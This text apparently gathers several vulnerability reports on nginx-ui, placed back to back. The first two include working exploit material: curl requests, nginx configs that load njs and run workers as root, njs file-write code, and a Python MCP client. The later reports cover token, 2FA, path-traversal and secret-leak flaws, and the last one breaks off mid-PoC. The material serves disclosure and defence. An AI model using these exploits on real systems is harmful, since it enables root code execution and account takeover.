Summary config.ValidateConfigFile is the security control that blocks dangerous nginx directives (js, perl, loadmodule of njs/perl modules, user root). Its directive scanner is bypassable: it splits the config by newlines and inspects only the FIRST token of each line, but nginx separates directives with ;, not newlines. Putting a benign directive first and the blocked directive after a ; on the SAME line defeats every check. The include directive is also not on the denylist. As a result, an authenticated caller can inject the exact directives the hardening was meant to block, through EVERY path that calls the validator — POST /api/configs (add), the REST config modify endpoint (api/config/modify.go), the MCP nginxconfigmodify tool, and the site/stream save paths (internal/site/save.go, internal/stream/save.go). On deployments where nginx has the njs/perl module (the official uozi/nginx-ui Docker image ships ngxhttpjsmodule.so), this leads to code execution in the nginx worker; with user root the workers run as root.
This is distinct from the configadd gap (the MCP nginxconfigadd tool not calling the validator at all): here the validator IS called and still bypassed, so fixing configadd does not fix this.
Root cause (internal/config/validation.go, ValidateConfigDirectives) go for , line := range bytes.Split(content, []byte("\n")) { // splits on \n only trimmed := strings.TrimSpace(string(line)) ... directive := firstDirectiveToken(trimmed) // first [a-zA-Z] of the line if directive == "user" && configuresRootWorkers(trimmed) { ... } // keyed on first token if directive == "loadmodule" && loadsRestrictedDynamicModule(...) { ... } // keyed on first token if , blocked := blockedConfigDirectives[directive]; blocked { ... } // keyed on first token } nginx parses a 1; b 2; on one line as two directives, but this scanner only ever sees a. include is absent from blockedConfigDirectives.
Proof of Concept (live, official image uozi/nginx-ui:2.3.11) — VALIDATED paths only Authenticated with a node secret (X-Node-Secret, from nginx-ui's first-boot log) or a user JWT. Every step below hits a path that calls ValidateConfigFile.
1) Baseline — validator works on a plain line: curl -X POST http://HOST/api/configs -H "X-Node-Secret: $S" -H 'Content-Type: application/json' \ -d '{"name":"x.conf","basedir":"","content":"jsimport a.js;","overwrite":true}' -> 40017 "file content contains restricted nginx directive: jsimport" (REJECTED)
2) Create the njs module file via the VALIDATED REST add (JS source is not nginx directives, so it passes ValidateConfigContent): poc.conf: import fs from 'fs'; function pwn(r){ fs.writeFileSync('/tmp/NJSVIADENYLISTBYPASS.txt','denylist-bypass-rce-ok\n'); r.return(200,'pwned2\n'); } export default { pwn }; curl -X POST http://HOST/api/configs -H "X-Node-Secret: $S" -H 'Content-Type: application/json' \ -d '{"name":"poc.conf","basedir":"","content":"<the JS above>","overwrite":true}' # ACCEPTED
3) Overwrite the main nginx.conf via the VALIDATED nginxconfigmodify MCP tool, smuggling each blocked directive after a benign one on the SAME line (this is ACCEPTED by ValidateConfigFile): nginx workerprocesses 1; loadmodule /usr/lib/nginx/modules/ngxhttpjsmodule.so; errorlog /var/log/nginx/error.log notice; user root; pid /run/nginx.pid; events { workerconnections 1024; } http { include /etc/nginx/mime.types; defaulttype application/octet-stream; jsimport poc from /etc/nginx/poc.conf; server { listen 8897; location = /pwn3 { jscontent poc.pwn; } } }
4) Reload. Result: - nginx -t successful. - worker /proc/<pid>/status → Uid: 0 0 0 0 (root) — the blocked user root took effect. - GET http://127.0.0.1:8897/pwn3 → pwned2 — jscontent executed. - /tmp/NJSVIADENYLISTBYPASS.txt created, owned by root → njs code execution as root.
(An MCP-over-SSE client for steps using nginxconfigmodify is included in the configadd report as pocmcpclient.py; the same client drives this PoC. X-Node-Secret authenticates both REST and MCP.)
Impact Authenticated config-injection that defeats the directive-validation control on all guarded write paths. On deployments with njs/perl available (the official Docker image ships ngxhttpjsmodule.so): code execution in the nginx worker and, via user root, arbitrary file read/write as root (trivially escalated to full host compromise). On stock nginx without those modules: reliable DoS (failed reload) plus user root privilege regression.
Honest scope / caveats - Authenticated (node secret or user JWT), agent-mediated — not unauthenticated. - What was live-verified: the bypass + full RCE on POST /api/configs (add) and the MCP nginxconfigmodify tool. The other callers — REST config modify (api/config/modify.go), site save (internal/site/save.go), stream save (internal/stream/save.go) — invoke the SAME ValidateConfigFile (code-confirmed), so they are affected by construction; I did not individually live-test each. - RCE is conditional on the njs/perl module being present; it ships in the official image, so the default Docker deployment is exploitable. On stock nginx without those modules the injected loadmodule/js make reload fail → DoS plus a user root privilege regression (inferred from nginx module behavior; not separately tested on a stock build). - The ; and include bypasses are fully confirmed live. A backslash line-continuation variant was accepted by the validator but its nginx parsing was not separately confirmed and is not relied on. - "Full host compromise" describes the capability of root file read/write via njs fs (proven: a root-owned file was written); the subsequent authorizedkeys/cron step is a well-known escalation, not something this PoC executed.
Suggested fix Do not hand-roll a newline/first-token denylist. Validate the way nginx parses: split statements on ; (and handle blocks, comments, line continuations), validate EVERY statement, block/limit include, and recurse into included files — or validate via an allowlist and/or by running nginx -t on the candidate before activating it.
Dedup / novelty Distinct from CVE-2026-33032 (unauthenticated MCP endpoint — an auth issue, now fixed) and from the separately reported configadd validation gap (a missing validator call on one path). This is a bypass of the validator itself, affecting every path that calls it; no existing CVE/GHSA covers it (checked osv.dev and the GitHub advisory database for this repo). Appears novel.
Summary
The regular HTTP configuration API rejects restricted Nginx directives such as loadmodule, jsimport, and jscontent.
However, the MCP configuration interface allows a secondary authenticated user to write and apply equivalent restricted configuration content. In the lab, this allowed the user to load ngxhttpjsmodule.so, import attacker-controlled JavaScript, reload Nginx, and execute NJS in the Nginx worker context.
This is authenticated and is not OS command execution by itself.
Affected component
- /mcp - /mcpmessage - MCP tool: nginxconfigadd - Nginx configuration validation
Impact
A secondary authenticated user can bypass the restricted directive validation enforced by the HTTP API and execute attacker-controlled NJS inside the Nginx worker context.
This may allow modification of Nginx runtime behavior, including responses, routing, headers, redirects, and request handling.
Minimal PoC
Preconditions
- Attacker has a secondary authenticated Nginx UI account. - MCP is enabled. - Nginx has NJS available:
bash find / -name "ngxhttpjsmodule.so" 2>/dev/null
Observed in the lab:
text /usr/lib/nginx/modules/ngxhttpjsmodule.so
1. HTTP API blocks the restricted config
Request:
http POST /api/configs Authorization: <SECONDARYUSERJWT> Content-Type: application/json
Body:
json { "name": "nginx.conf", "basedir": "", "overwrite": true, "syncnodeids": [], "content": "loadmodule modules/ngxhttpjsmodule.so;\n\nuser nginx;\nworkerprocesses auto;\n\nevents { workerconnections 1024; }\n\nhttp {\n jsimport poc from /etc/nginx/poc.js;\n server {\n listen 127.0.0.1:18249;\n location /poc { jscontent poc.handler; }\n }\n}\n" }
Observed result:
text Rejected because the content contains restricted directives such as loadmodule/jsimport/jscontent.
2. MCP writes the JavaScript file
Open an MCP session and call tools/call with:
json { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "nginxconfigadd", "arguments": { "name": "poc.js", "basedir": "", "overwrite": true, "syncnodeids": [], "content": "function handler(r) { r.return(200, \"MCPNJSMARKER\\n\"); }\nexport default { handler };\n" } } }
3. MCP writes the NJS-enabled nginx.conf
Call tools/call again:
json { "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "nginxconfigadd", "arguments": { "name": "nginx.conf", "basedir": "", "overwrite": true, "syncnodeids": [], "content": "loadmodule modules/ngxhttpjsmodule.so;\n\nuser nginx;\nworkerprocesses auto;\n\nerrorlog /var/log/nginx/error.log notice;\npid /run/nginx.pid;\n\nevents { workerconnections 1024; }\n\nhttp {\n defaulttype application/octet-stream;\n jsimport poc from /etc/nginx/poc.js;\n server {\n listen 127.0.0.1:18249;\n location /poc { jscontent poc.handler; }\n }\n}\n" } } }
4. Verify NJS execution
Inside the Nginx UI container:
bash curl -i http://127.0.0.1:18249/poc
Observed response:
http HTTP/1.1 200 OK
MCPNJSMARKER
This confirms that content rejected by the HTTP API can be applied through MCP and executed as NJS in the Nginx worker context.
Expected behavior
MCP configuration tools should enforce the same restricted directive validation as the HTTP API.
Suggested fix
Apply ValidateConfigFile(path, content) before MCP configuration writes and ensure HTTP API and MCP share the same validation tests for restricted directives such as:
- loadmodule - jsimport - jscontent - jsset - perlset - user root
Summary internal/config/validation.go (ValidateConfigFile) is a security control that blocks dangerous nginx directives — js, perl, loadmodule of the njs/perl modules, and user root. It is enforced on three of the four config-write paths: api/config/add.go, api/config/modify.go, and mcp/config/configmodify.go. The fourth path — the MCP tool nginxconfigadd (mcp/config/configadd.go) — does NOT call it: it writes the caller-supplied content straight to disk and reloads nginx. An authenticated MCP caller (or an MCP agent induced via prompt injection) can therefore inject exactly the directives the control is meant to block, leading to nginx code execution on deployments where the njs/perl module is available (e.g. the official Docker image).
Root cause — an incomplete hardening patch Commit 3e411d38 ("Harden config write paths", 2026-04-21) introduced ValidateConfigFile and wired it into the config-write paths — but its changeset touched only: api/config/add.go (+6), api/config/modify.go (+8), internal/config/validation.go (+199), mcp/config/configmodify.go (+5) It did NOT touch mcp/config/configadd.go. So the MCP add path was left without the validation that all of its sibling paths received. configadd.go has never called ValidateConfigFile (verified via git history); this is an oversight in the hardening, not a regression.
Affected code (mcp/config/configadd.go, handleNginxConfigAdd) go content := mcp.GetString(args, "content") // caller-controlled ... path, err := config.ResolveConfPath(baseDir, name) // path is sandboxed to the conf dir (OK) ... err = os.WriteFile(path, []byte(content), 0644) // <-- no config.ValidateConfigFile(path, content) ... res := nginx.Control(nginx.Reload) // reloads nginx Contrast — the guarded sibling (mcp/config/configmodify.go) does: go err = config.ValidateConfigFile(absPath, content) // rejects js/perl/loadmodule/user root if err != nil { return nil, err }
Proof of Concept (live, Docker, official image) Image uozi/nginx-ui:2.3.11, nginx 1.31.0. Authenticated with a valid node secret (X-Node-Secret). MCP over SSE; client script pocmcpclient.py attached.
1) Validation bypass (decisive): - tools/call nginxconfigadd {name:"pocblocked.conf", basedir:"sites-available", content:"jsimport poc.js;\nperlset $x 'sub{return 1}';\nuser root;\nloadmodule .../ngxhttpjsmodule.so;"} → SUCCESS; file written verbatim (confirmed on disk). - Same content via nginxconfigmodify → REJECTED: {"code":-32603,"message":"file content contains restricted nginx directive: jsimport"}.
2) Effect (using only the vulnerable configadd tool): - Wrote /etc/nginx/poc.js (njs module) and overwrote /etc/nginx/nginx.conf with loadmodule .../ngxhttpjsmodule.so; user root; ... jsimport poc ...; server{ listen 8899; location=/pwn { jscontent poc.pwn; } }. Tool returned SUCCESS (reload succeeded; nginx -t ok). - /proc/<worker>/status → Uid: 0 0 0 0 (workers run as root — user root took effect). - GET http://127.0.0.1:8899/pwn → pwned (njs jscontent executed). - /tmp/NJSRCEPROOF.txt created, owned by root → JavaScript code execution in the nginx worker performing arbitrary file write as root.
Reproduction payloads (self-contained) njs module written to /etc/nginx/poc.js via nginxconfigadd (name="poc.js", basedir=""): js import fs from 'fs'; function pwn(r){ try{ fs.writeFileSync('/tmp/NJSRCEPROOF.txt','njs-code-exec-ok\n'); }catch(e){ r.return(200,'ERR:'+e); return; } r.return(200,'pwned\n'); } export default { pwn }; Main config overwritten via nginxconfigadd (name="nginx.conf", basedir="", overwrite=true): nginx loadmodule /usr/lib/nginx/modules/ngxhttpjsmodule.so; user root; workerprocesses 1; errorlog /var/log/nginx/error.log notice; pid /run/nginx.pid; events { workerconnections 1024; } http { include /etc/nginx/mime.types; defaulttype application/octet-stream; jsimport poc from /etc/nginx/poc.js; server { listen 8899; location = /pwn { jscontent poc.pwn; } } }
PoC client (MCP-over-SSE, Python stdlib only) Set SECRET to a valid node secret (printed in nginx-ui's first-boot logs) or a user JWT. Usage: python3 pocmcpclient.py list then python3 pocmcpclient.py call <tool> '<json-args>'. python import sys, json, threading, queue, time, http.client BASE = "127.0.0.1:9000" SECRET = "<NODESECRETORJWT>" HDR = {"X-Node-Secret": SECRET} # or {"Authorization": "Bearer <JWT>"} respq = queue.Queue(); endpoint = {}
def ssereader(): conn = http.client.HTTPConnection(BASE, timeout=60) conn.request("GET", "/mcp", headers={HDR, "Accept": "text/event-stream"}) r = conn.getresponse(); event = None while True: line = r.fp.readline() if not line: break line = line.decode("utf-8","replace").rstrip("\r\n") if line.startswith("event:"): event = line[6:].strip() elif line.startswith("data:"): data = line[5:].strip() if event == "endpoint": endpoint["url"] = data; endpoint["ready"] = True else: respq.put(data) elif line == "": event = None
def post(obj): conn = http.client.HTTPConnection(BASE, timeout=30) conn.request("POST", endpoint["url"], body=json.dumps(obj).encode(), headers={HDR, "Content-Type": "application/json"}) return conn.getresponse().read()
def wait(wid, t=20): end = time.time()+t while time.time() < end: try: d = respq.get(timeout=t) except queue.Empty: break try: j = json.loads(d) except Exception: continue if j.get("id") == wid: return j
threading.Thread(target=ssereader, daemon=True).start() for in range(50): if endpoint.get("ready"): break time.sleep(0.1) post({"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05", "capabilities":{},"clientInfo":{"name":"poc","version":"1"}}}); wait(1) post({"jsonrpc":"2.0","method":"notifications/initialized","params":{}}) cmd = sys.argv[1] if len(sys.argv) > 1 else "list" if cmd == "list": post({"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}) print([t["name"] for t in wait(2)["result"]["tools"]]) elif cmd == "call": post({"jsonrpc":"2.0","id":3,"method":"tools/call", "params":{"name":sys.argv[2],"arguments":json.loads(sys.argv[3])}}) print(json.dumps(wait(3, 25), indent=1))
Impact An authenticated MCP principal — or a connected AI agent subverted via prompt injection — bypasses the directive-validation security control and injects directives the project explicitly blocks elsewhere. On deployments with the njs/perl module available (the official Docker image ships ngxhttpjsmodule.so), this yields code execution in the nginx worker and, via user root, arbitrary file read/write as root (trivially escalated to full host compromise: /root/.ssh/authorizedkeys, /etc/cron.d/, overwriting a binary). On stock nginx without those modules it is a reliable DoS (failed reload) plus a user root privilege regression.
Honest scope / caveats - Authenticated (node secret or user JWT), agent-mediated — not unauthenticated. - RCE is conditional on the njs/perl module being present; it ships in the official image, so the default Docker deployment is exploitable. Stock nginx without those modules → DoS instead. - The write path is sandboxed to the nginx conf dir (no path traversal); the bug is directive injection. (The main nginx.conf is inside that dir and can be overwritten with overwrite=true.) - nginx-ui runs as root by design (it manages nginx); the bypass additionally lets request-handling workers run as root via user root.
Suggested fix Call config.ValidateConfigFile(path, content) in handleNginxConfigAdd before os.WriteFile, matching mcp/config/configmodify.go and the API paths — i.e. complete the 3e411d38 hardening on the one path it missed.
--- (NOT a form field — include this as the closing section of the Description above) ---
Dedup / novelty Distinct from CVE-2026-33032 (GHSA-h6c2-x2m2-mwhf, "Unauthenticated MCP Endpoint"), whose root cause is a MISSING AUTH middleware on /mcpmessage (now fixed by adding AuthRequired) and which does not involve config-content validation. This report is an AUTHENTICATED bypass of the directive-validation control on the configadd path, and works on a fully patched (post-33032) instance. No existing CVE/GHSA covers the configadd validation gap (checked osv.dev and the GitHub advisory database for this repo). Appears novel.
Summary Standalone short tokens issued for WebSocket and explicit-token authentication can survive administrative revocation in cache. If the same account is later re-enabled before the cache entry expires, the deleted short token becomes valid again.
Details GenerateShortToken() creates an AuthToken row that contains only ShortToken and no long Token. DeleteUserTokens() removes database rows, but when clearing caches it only invalidates entries where authToken.Token != "". This leaves standalone short-token cache entries behind. GetTokenUserByShortToken() checks that cache first and then loads the user by ID, so the stale short token becomes usable again if the account status is restored to true.
Relevant code paths: - internal/user/user.go - internal/user/user.go - internal/user/user.go - api/user/shorttoken.go - internal/middleware/middleware.go
PoC This was verfied locally in an isolated environment with a temporary package-level harness that exercised the real token issuance, revocation, cache, and re-authentication paths.
What the executed test did: 1. Created an enabled user in a temporary SQLite database. 2. Called the real GenerateShortToken(user.ID) function to issue a standalone short token. 3. Verified that the token authenticated successfully and was present in the short-token cache. 4. Disabled the user and called the real DeleteUserTokens(user.ID) function. 5. Verified that the database token rows were removed. 6. Verified that the short-token cache entry still existed after DeleteUserTokens. 7. Re-enabled the same user. 8. Reused the previously deleted short token via the real GetTokenUserByShortToken() path and observed successful authentication.
Observed result from the actual local verification: - The database token rows were removed during revocation. - The short-token cache entry remained present. - Re-enabling the user restored successful authentication through the stale short token.
Impact Any deployment using standalone short tokens is affected. If a short token is stolen, administrative disable/delete-token handling may not fully revoke it. Re-enabling the account within the cache lifetime restores access for the stale token to any HTTP or WebSocket routes that accept short-token authentication.
Summary POST /api/users/:id allows any authenticated user to change any other user's password without RequireSecureSession (2FA verification). In contrast, the self password change endpoint POST /api/user/password correctly requires RequireSecureSession. This inconsistency enables any authenticated user to take over the initial admin account (user ID 1) by simply changing its password.
Details nginx-ui enforces RequireSecureSession middleware on sensitive operations such as self password change (api/user/router.go:55), self profile update (api/user/router.go:54), settings modification (api/settings/router.go:12), and config file deletion/rename (api/config/router.go:16-21).
However, the user management endpoint registered in InitManageUserRouter (api/user/user.go:31-68) is mounted on the g router group (router/routers.go:92) which only applies middleware.AuthRequired() and middleware.Proxy() — no RequireSecureSession().
As a result, POST /api/users/:id with a password field in the JSON body updates the target user's password with only basic JWT authentication. No 2FA or secure session verification is performed, even if the target user has 2FA enabled.
The attack flow:
1. Attacker authenticates as any user (e.g., user ID 2). 2. Attacker sends POST /api/users/1 with {"password": "attacker-chosen"}. 3. Admin (user ID 1) password is changed. All existing admin tokens are invalidated (api/user/user.go:48-49). 4. Attacker logs in as admin with the new password. 5. Admin is locked out.
PoC poc.zip
Please extract the uploaded compressed file before proceeding
1. docker compose up -d 2. python3 poc.py
<img width="501" height="55" alt="스크린샷 2026-04-22 오후 10 26 29" src="https://github.com/user-attachments/assets/6562ede2-7c11-48da-b905-be9964f4f7b1" />
Impact - Any authenticated user can change any other user's password, including the initial admin (user ID 1). - Full account takeover of the admin account.
Summary
Nginx UI validates backuppath and storagepath against the administrator-defined backup.GrantedAccessPath boundary, but the final auto-backup output filename is built from the user-controlled auto-backup name without stripping path separators or .. components.
An authenticated user who can create or modify an auto-backup task can set a name such as task/../../../escaped. The configured storagepath still passes validation because it is inside GrantedAccessPath, but the generated backup path escapes that storage directory when filepath.Join(storagepath, filename) resolves the embedded traversal sequence.
This bypasses the documented backup path boundary and allows backup archives, and for encrypted configuration backups the adjacent .key file, to be written outside the intended storage directory with the Nginx UI process privileges.
Affected Versions
- Current dev branch commit checked: 4948fba8744e82c3d7003f68ee164e9f49421066 - Latest release checked: v2.3.10, published 2026-04-28 - The vulnerable filename construction is present in both current dev and v2.3.10.
Security Boundary
The project documentation describes backup.GrantedAccessPath as the critical security boundary for backup operations. It says the setting:
- restricts backup operations to explicitly authorized directories, - prevents unauthorized access to sensitive system directories, - enforces administrator-defined boundaries, - normalizes paths to prevent traversal attempts.
That boundary is enforced for the configured storagepath, but not for the final path after the backup name is appended.
Root Cause
model.AutoBackup.GetName() only trims whitespace and replaces spaces:
go func (a AutoBackup) GetName() string { return strings.ReplaceAll(strings.TrimSpace(a.Name), " ", "") }
The result is then embedded directly into filenames:
go filename := fmt.Sprintf("%s%d.zip", autoBackup.GetName(), time.Now().Unix()) outputPath = filepath.Join(autoBackup.StoragePath, filename)
and for custom directory backups:
go filename := fmt.Sprintf("customdir%s%d.zip", autoBackup.GetName(), time.Now().Unix()) outputPath = filepath.Join(autoBackup.StoragePath, filename)
The API validation rules require name, backuptype, storagetype, storagepath, and cronexpression, but do not reject /, \, or .. in name. ValidateAutoBackupConfig validates backuppath and storagepath, but it does not validate the final outputPath after appending the generated filename.
Relevant paths:
- model/autobackup.go - api/backup/autobackup.go - internal/backup/autobackup.go - internal/backup/utils.go
Proof of Concept
The following local-only reproducer mirrors the relevant code path without contacting any external system:
go name := "task/../../../escaped" filename := fmt.Sprintf("customdir%s%d.zip", getName(name), int64(1715555555)) outputPath := filepath.Join(storageDir, filename)
Setup:
1. Create a temporary granted directory. 2. Set sourceDir and storageDir under that granted directory. 3. Treat only granted as the allowed path boundary. 4. Use the auto-backup name task/../../../escaped. 5. Create the custom-directory backup using the same filename pattern and zip creation behavior.
Observed output:
text grantedroot=/Users/jagadeshachanta/.cache/tmp/nginx-ui-autobackup-poc-1538710430/granted validatedstoragepath=/Users/jagadeshachanta/.cache/tmp/nginx-ui-autobackup-poc-1538710430/granted/storage autobackupname="task/../../../escaped" constructedfilename="customdirtask/../../../escaped1715555555.zip" createdfile=/Users/jagadeshachanta/.cache/tmp/nginx-ui-autobackup-poc-1538710430/escaped1715555555.zip escapedvalidatedstoragepath=true createdfileexists=true
The configured storage path is inside the granted directory, but the created backup file is outside both the storage directory and the granted directory.
A repo-local regression test was also prepared at:
text internal/backup/autobackuppathtraversalpoctest.go
The test cannot currently be executed cleanly in this checkout because unrelated build prerequisites fail before the package test runs:
text app/app.go: pattern all:dist: no matching files found model/cert.go: no required module provides package github.com/go-acme/lego/v5/certificate internal/helper/keytype.go: no required module provides package github.com/go-acme/lego/v5/certcrypto
The standalone reproducer output above was therefore used as the executable proof for this report.
Impact
An authenticated user with access to the auto-backup API can bypass the administrator-configured backup storage boundary. Depending on filesystem permissions and deployment layout, this can:
- write backup archives outside the intended storagepath, - write encrypted configuration backup key files outside the intended storagepath, - place sensitive backup material in directories that administrators did not authorize for backup storage, - create or overwrite timestamp-suffixed files outside the validated backup directory using the Nginx UI process privileges.
This is especially relevant because backup archives may contain Nginx UI configuration, database files, Nginx configuration, and for encrypted config backups the adjacent key file required to decrypt the archive.
Suggested Fix
Recommended defense in depth:
1. Treat auto-backup name as a display label only, not as a filesystem path component. 2. Sanitize generated filenames with filepath.Base or a strict allowlist such as [A-Za-z0-9.-]. 3. Reject path separators, drive separators, NUL bytes, and .. segments in name. 4. After constructing outputPath, clean it and validate that the final path remains inside the already-validated storagepath. 5. Add regression tests for both local and S3 temporary-file paths.
Example invariant:
go cleanOutput := filepath.Clean(outputPath) cleanStorage := filepath.Clean(autoBackup.StoragePath) + string(filepath.Separator) if !strings.HasPrefix(cleanOutput, cleanStorage) { return ErrPathNotInGrantedAccess }
Disclosure Notes
This was tested only in a local isolated environment against source code and temporary directories. No online demo systems or production systems were tested.
AI assistance was used to inspect the open-source code, prepare the local reproducer, and draft this report. The issue and PoC output were verified locally before submission.
Summary An authenticated user who can create and restore a backup can craft a valid backup archive that causes the restore staging process to write attacker-controlled files into the live Nginx configuration path even when both restorenginx and restorenginxui are set to false.
Details The restore flow always extracts the outer archive, verifies the manifest, decrypts nginx-ui.zip and nginx.zip, and extracts both inner archives before it decides whether RestoreNginx or RestoreNginxUI should be applied. The zip extractor explicitly allows absolute symlinks when the link target is under nginx.GetConfPath() or nginx.GetModulesPath(). Later regular-file entries are then created with os.OpenFile() on the symlinked path, which follows the symlink and writes into the live path.
Relevant code paths: - internal/backup/restore.go - internal/backup/restore.go - internal/backup/restore.go - internal/backup/restore.go - api/backup/restore.go - api/backup/backup.go
This means the restore trust boundary is broken during extraction. A restore request that explicitly opted out of restoring either Nginx or Nginx UI can still modify the live Nginx configuration tree during staging.
PoC I verified this locally in an isolated environment with a temporary package-level harness that exercised the real Backup() and Restore() implementations.
What the executed test did: 1. Created a temporary app.ini, database file, and a temporary live Nginx config directory. 2. Called the real Backup() implementation to obtain a valid backup archive plus AES key/IV. 3. Extracted the outer backup, decrypted nginx.zip, replaced it with a crafted zip containing: - a symlink entry link -> <live nginx conf dir> - a later regular file entry link/poc.conf 4. Recomputed manifest.json size/hash values for the modified encrypted nginx.zip and re-signed manifest.sig with the expected signing key derived from the AES key. 5. Repacked the outer archive and called the real Restore() implementation with: - RestoreNginx: false - RestoreNginxUI: false 6. Verified that <live nginx conf dir>/poc.conf was created anyway.
Observed result from the actual local verification: - The crafted restore completed successfully with both restore flags set to false. - The asserted sink was the existence and content of the live-path file written during restore staging.
Impact Any deployment that allows an authenticated user to create and restore backups is affected. A crafted restore archive can modify the live Nginx configuration path before either restore toggle is honored. This can lead to persistent configuration injection, denial of service on a later reload, or other follow-on impact depending on what files the deployment later consumes from the modified path.
Summary
nginx-ui supports two second-factor methods — TOTP (OTP) and WebAuthn passkeys — and reports an account as 2FA-enabled when either is configured. However, the password login endpoint (POST /api/login) only enforces a second factor when a TOTP secret is present. An account that has registered a passkey but no TOTP is logged in after password verification alone — the passkey is never requested. This silently downgrades a passkey-protected account to single-factor (password-only) authentication.
Details
The account's 2FA policy treats passkeys as a valid factor (model/user.go):
go func (u User) EnabledOTP() bool { return len(u.OTPSecret) != 0 } func (u User) EnabledPasskey() bool { / true if a passkey row exists / } func (u User) Enabled2FA() bool { return u.EnabledOTP() || u.EnabledPasskey() }
func (u User) AfterFind( gorm.DB) error { u.EnabledTwoFA = u.Enabled2FA() // exposed to the UI as enabled2fa return nil }
But the login handler only checks EnabledOTP() (api/user/auth.go, Login):
go u, err := user.Login(json.Name, json.Password) ... if u.EnabledOTP() { // <-- only TOTP is enforced if json.OTP == "" && json.RecoveryCode == "" { c.JSON(http.StatusOK, LoginResponse{Message: "The user has enabled 2FA", Code: Enabled2FA}) // 199 user.BanIP(clientIP) return } if , err = user.VerifyOTP(u, json.OTP, json.RecoveryCode); err != nil { / ... / } secureSessionID = user.SetSecureSessionID(u.ID) }
// Passkey-only accounts fall through to here and receive a full session token: accessToken, err := user.GenerateJWT(u)
No branch requires a WebAuthn assertion during password login when EnabledPasskey() is true. The root cause is the mismatch between the policy definition (Enabled2FA() = OTP or passkey) and the enforcement check (EnabledOTP() only).
The same EnabledOTP()-only gating in RequireSecureSession() (internal/middleware/securesession.go) means passkey-only users are also exempted from step-up on sensitive actions.
Proof of Concept
Tested against nginx-ui built from source (go build -tags unembed) on 127.0.0.1:9000, with WebAuthn configured and a victim account that has a registered passkey and no TOTP. The vulnerable code is identical on the production main branch (api/user/auth.go Login gates on u.EnabledOTP() only; verified at commit 6c86e5a, 2026-05-17).
Account state advertised by GET /api/2fastatus:
json {"enabled":true,"otpstatus":false,"passkeystatus":true, ...}
Attacker logs in with password only (POST /api/login, encrypted params as the client normally sends):
HTTP 200 {"message":"ok","code":200,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...."}
code: 200 + a valid JWT = an authenticated session, with the passkey never used. For comparison, the identical account with a TOTP secret instead correctly returns the second-factor challenge:
HTTP 200 {"message":"The user has enabled 2FA","code":199}
| Account state | POST /api/login (password only) | |---|---| | Passkey registered, no TOTP | code 200 + JWT — 2FA NOT enforced | | TOTP registered | code 199 — 2FA challenge enforced |
This isolates the defect: the login path enforces OTP but ignores passkeys.
Impact
- Any account protected only by a passkey is reduced to password-only authentication. An attacker who obtains the password (phishing, reuse, leak) gains full access despite the registered security key. - In nginx-ui all authenticated users are effectively administrators and the terminal feature grants a host shell, so account takeover leads to full control of the managed nginx instance / host. - Users are given a false sense of security: the UI shows the account as 2FA-enabled while the second factor is not enforced at login.
Remediation
- Gate the second-factor decision on u.Enabled2FA() (not u.EnabledOTP()) in Login, in both SSO callbacks, and in RequireSecureSession(). - For a passkey-only user logging in with a password, return a "passkey assertion required" challenge and complete login only after a successful WebAuthn assertion (the beginpasskeylogin / finishpasskeylogin flow already exists and should be required as the second step). - Centralize session-token issuance so no login entry point can skip the 2FA decision.
Affected components
- api/user/auth.go — Login - model/user.go — EnabledOTP, EnabledPasskey, Enabled2FA, AfterFind - api/user/2fa.go — get2FAStatus - internal/middleware/securesession.go — RequireSecureSession
1. Vulnerability Summary
nginx-ui's Node.Secret is a master credential that bypasses all JWT/password authentication for the entire API. The application accepts this credential via a URL query parameter (?nodesecret=), causing it to be recorded in plaintext in HTTP access logs, reverse proxy logs, browser history, and HTTP Referer headers. Additionally, the official cluster configuration format embeds node secrets directly into URL query strings stored in app.ini and environment variables, creating a systemic credential exposure pattern across the entire cluster deployment model.
An attacker who gains read access to any log aggregation system, proxy log, or configuration file can extract the node secret and obtain full, persistent, unauthenticated administrative access to the nginx-ui API — including reading TLS private keys, modifying nginx configurations, and (when chained with Bug #1) achieving OS-level code execution.
---
2. Root Cause Analysis
2.1 Node Secret Accepted as URL Query Parameter
The getNodeSecret function reads the credential from the URL query string as a fallback when the X-Node-Secret header is absent: 1
This function is called in both AuthRequired() and AuthRequiredWS() middleware, meaning the query parameter bypass works for all authenticated HTTP and WebSocket endpoints: 2 3
The same pattern is repeated in the WebSocket origin checker, which also reads nodesecret from the URL: 4
2.2 Node Secret Is a Full Authentication Bypass
The documentation explicitly states this is by design: 5
When the secret matches, the middleware sets the request context to an admin-level init user and calls c.Next() — bypassing all JWT validation, session checks, and 2FA: 2
2.3 Cluster Configuration Embeds Node Secrets in URLs
The official cluster configuration format, documented and used in app.example.ini, stores node secrets as URL query parameters: 6
The parseNodeUrl function extracts the secret from the URL's query string and stores it in the database as the node's Token field: 7
This means node secrets are embedded in: - app.ini on disk (readable by any process with filesystem access) - The NGINXUICLUSTERNODE environment variable (visible in ps aux, Docker inspect, Kubernetes pod specs, CI/CD logs) - The SQLite database nodes table as the token column in plaintext
2.4 Node Secret Generation Uses UUID
The secret is auto-generated as a UUID v4 if not set: 8
UUID v4 has 122 bits of entropy, which is adequate. However, the exposure surface described in this report makes entropy irrelevant — the secret is leaked through operational channels, not brute-forced.
---
3. Exposure Surface
The following table maps each exposure vector to its source in the codebase:
| Vector | How It Happens | Who Can See It | |---|---|---| | HTTP access logs | GET /api/settings?nodesecret=xxx logged by nginx/caddy/apache | Log readers, SIEM operators | | Application logs | Gin debug mode logs full request URLs | Server operators, log aggregators | | Browser history | Admin uses ?nodesecret= URL directly | Anyone with browser access | | HTTP Referer header | Page with ?nodesecret= in URL links to external resource | Third-party servers | | WebSocket URL logs | ws://host/api/ws?nodesecret=xxx logged by proxies | Proxy log readers | | app.ini on disk | Cluster node URLs contain nodesecret= | Filesystem readers | | Environment variables | NGINXUICLUSTERNODE=...&nodesecret=... | ps aux, Docker inspect, K8s pod specs | | CI/CD pipeline logs | Env vars printed during deployment | CI/CD log viewers | | Database | nodes.token column stored in plaintext SQLite | DB file readers |
---
4. Proof of Concept
Scenario A: Log-Based Secret Extraction
Step 1 — Attacker gains read access to nginx access logs (e.g., via a misconfigured log aggregator, a compromised monitoring account, or a separate vulnerability).
Step 2 — Search logs for the pattern:
bash grep -oP 'nodesecret=[^&\s"]+' /var/log/nginx/access.log Output: nodesecret=a1b2c3d4-e5f6-7890-abcd-ef1234567890
Step 3 — Use the extracted secret for full API access:
